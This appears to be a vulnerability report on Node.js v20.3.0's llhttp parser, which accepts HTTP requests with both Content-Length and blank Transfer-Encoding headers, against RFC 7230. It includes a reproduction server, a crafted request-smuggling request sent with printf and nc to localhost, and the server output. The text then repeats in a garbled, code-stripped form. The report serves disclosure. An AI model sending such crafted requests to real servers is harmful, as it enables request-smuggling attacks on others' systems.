Summary:
The llhttp parser in the http module in Node.js (v20.3.0) does not adhere to key-points in RFC 7230 in handling HTTP requests with both Transfer-Encoding and Content-Length headers.
Description:
RFC 7230 states the following:
Section 3.3.1 - A server that receives a request message with a transfer coding it does not understand SHOULD respond with 501 (Not Implemented).
Section 3.3.3 (3) - If a message is received with both a Transfer-Encoding and a Content-Length header field, the Transfer-Encoding overrides the Content-Length. Such a message might indicate an attempt to perform request smuggling (Section 9.5) or response splitting (Section 9.4) and ought to be handled as an error.
Section 3.3.3 (3) - If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection.
Steps To Reproduce:
Server:
consthttp=require("http");http.createServer((request,response)=>{letbody=[];request.on("error",(err)=>{response.end("Request Error: "+err);}).on("data",(chunk)=>{body.push(chunk);}).on("end",()=>{body=Buffer.concat(body).toString();console.log("Response");console.log(request.headers);console.log(body);console.log("---");response.on("error",(err)=>{response.end("Response Error: "+err);});response.end("Body length: "+body.length.toString()+" Body: "+body);});}).listen(5000);Request
Consider the following HTTP request:
POST / HTTP/1.1
Host: localhost:5000
Content-Length: 10
Transfer-Encoding:
Transfer-Encoding:
Transfer-Encoding:
2
AA
0
printf"POST / HTTP/1.1\r\n"\
"Host: localhost:5000\r\n"\
"Content-Length: 10\r\n"\
"Transfer-Encoding: \r\n"\
"Transfer-Encoding: \r\n"\
"Transfer-Encoding: \r\n"\
"\r\n2\r\nAA\r\n0\r\n\r\n"| nc localhost 5000
Response
The following is the stdout generated:
Response
{
host: 'localhost:5000',
'content-length': '10',
'transfer-encoding': ', , '
}
2
AA
0
The following is the HTTP Response generated:
HTTP/1.1 200 OK
Date: Sun, 18 Jun 2023 10:38:11 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 32
Body length: 10 Body: 2
AA
0
These indicate:
- Server silently ignored invalid blank
Transfer-Encoding values. Content-Length header was given priority even when a Transfer-Encoding header was present.- The request was processed even when
chunked was not the final encoding. Connection is keep-alive
These clearly break the excerpted points from RFC 7230 stated above.
Response from Go Lang net/http for the same HTTP Request.
HTTP/1.1 501 Not Implemented
Content-Type: text/plain; charset=utf-8
Connection: close
Unsupported transfer encoding
Supporting Material/References:
Summary:
The
llhttpparser in the http module in Node.js (v20.3.0) does not adhere to key-points in RFC 7230 in handling HTTP requests with bothTransfer-EncodingandContent-Lengthheaders.Description:
RFC 7230 states the following:
Steps To Reproduce:
Server:
Request
Consider the following HTTP request:
Response
The following is the stdout generated:
The following is the HTTP Response generated:
These indicate:
Transfer-Encodingvalues.Content-Lengthheader was given priority even when aTransfer-Encodingheader was present.chunkedwas not the final encoding.Connectioniskeep-aliveThese clearly break the excerpted points from RFC 7230 stated above.
Response from Go Lang
net/httpfor the same HTTP Request.Supporting Material/References: